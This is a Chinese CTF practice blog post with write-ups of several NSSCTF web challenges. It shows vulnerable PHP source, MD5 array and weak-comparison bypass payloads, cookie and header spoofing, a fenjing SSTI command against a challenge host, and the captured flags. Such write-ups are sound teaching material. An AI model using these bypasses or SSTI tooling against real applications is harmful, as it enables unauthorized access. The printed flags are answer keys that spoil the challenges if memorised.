刷题学习记录

发布时间:2023年12月21日

[GDOUCTF 2023]受不了一点

知识点:弱比较+数组绕过+PHP

题目源码

<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(isset($_GET['flag']) && isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?> 

?分析:

if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
????$b=$_POST['ctf'];
????$a=$_POST['gdou'];
????if($_POST['gdou']!=$_POST['ctf']?&&?md5($a)===md5($b)){

post方式传参,参数为ctf和gdou,要求ctf和gdou传入值的md5值相等,这里选择用数组绕过

payload:ctf[]=1&gdou[]=2

?if?($_COOKIE['cookie']=='j0k3r'){

?要求cookie传参的值为cookie=j0k3r

payload:cookie=j0k3r

?if(isset($_GET['aaa'])?&&?isset($_GET['bbb'])){
??????????????????$aaa=$_GET['aaa'];
??????????????????$bbb=$_GET['bbb'];
?????????????????if($aaa==114514?&&?$bbb==114514?&&?$aaa!=$bbb){

?get方式传参,传参参数为aaa和bbb,给定了相同的数值,但要求二者的值不相等,这里进行绕过,在任意一个114514后加一个字母

payload:aaa=114514&bbb=114514a

?if(isset($_GET['flag'])?&&?isset($_POST['flag'])){
?????????????????????????die($give);
????????????????????}
???????????????????if($_POST['flag']?===?'flag'?||?$_GET['flag']?===?'flag'){

?这里选择任意一个传入flag的方式
使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag

?payload:123=flag&flag=123

?最后合并所有传参情况,得到最后的payload

GET:?aaa=114514&bbb=114514a&123=flag&flag=123
post:gdou[]=1&ctf[]=2
cookie=j0k3r

最后得到flag

?NSSCTF{feffc26a-eb63-4f56-a9f5-a2d5d52b1332}

[SWPUCTF 2022 新生赛]奇妙的MD5

知识点:弱比较+数组+绕过PHP

进入环境

?尝试了许多数都没有什么反应,查看源码也没有什么有用的信息

用bp抓包看一下,也没有什么有用的信息

?dirsearch扫

扫了之后发现flag.php,但是访问没有反应

?补充:

md5强比较,弱比较

强比较:使用三个 ''==='' 比较,比较值,也比较类型

弱比较:使用两个 ''=='' 比较,只比较值,不比较类型

??? a==b?? 将a,b的值转换成同类型再比较值
??? a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false

相关口诀

??? 数组绕过,0e绕过

??? QNKCDZO 240610708 常用

??? md5($a)==md5(md5($a))

??? 0e215962017

??? MD5加密登录万能通用

??? ffifdyop

?运用ffifdyop

?看源码

?传参,MD5值相等,选择数组绕过

?x[]=1&y[]=2

?传入后Url多出一个后台,访问一下得到

?post传参选则数组绕过

wqh[]=1&dsy[]=2

?得到flag

?[HNCTF 2022 Week1]Interesting_http

?知识点:HTTP协议+Linux相关

一来就要post传参,查看源码也没有什么有用信息

?虽然不知带参数,但是题目上的信息可以用来尝试,显示不是用户

want=flag

?Cookies 是一种存储在用户计算机或手机浏览器中的小文件,它能够存储一些关于网站用户的信息。当用户在访问该网站时,该网站可以通过读取 Cookies 中的信息,实现一些个性化的功能,例如自动登录、记忆用户的设置和偏好、购物车中的商品等等。同时,Cookies 还可以用于网站数据跟踪和分析,帮助网站拼凑和分析用户行为以及提供更好的服务。

Cookies:user=admin

?结果,提示没有位置即没有ip,那就弄一个代理得到flag

X-Forwarded-For头部的作用是记录用户的真实IP地址和代理服务器的IP地址。当用户通过代理服务器访问网站时,服务器只能获取到代理服务器的IP地址,而无法获取到用户的真实IP地址。通过使用X-Forwarded-For头部,代理服务器可以将用户的真实IP地址添加到HTTP请求的头部中,从而让服务器能够获取到用户的真实IP地址。

?[HNCTF 2022 Week1]What is Web

知识点:源码泄露

进入环境直接查看源码就会发现flag的base64编码

?直接解码的flag

NSSCTF{Hell0_Weber_Wec0m3_come_2_web_w0r1d!}

?[MoeCTF 2021]Web安全入门指北—小饼干

知识点:HTTP协议+COOKIE

?题目提示HTTP请求

?不是VIP

?

?直接抓包改VIP直接就得到flag

NSSCTF{73c2c723-e393-4491-b43a-659c25a1f7f6}

[NCTF 2018]flask真香

知识点:SSTI+Flask

进入直接测试是否存在ssti注入问题

?结果是存在的

直接上fenjing一把梭哈

python3 -m fenjing crack-path -u 'http://node4.anna.nssctf.cn:28042/'

?

直接拿flag

NSSCTF{1da5950e-5a6b-4188-8882-ce67a6b43351}

?

文章来源:https://blog.csdn.net/qq_73861475/article/details/135138750
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。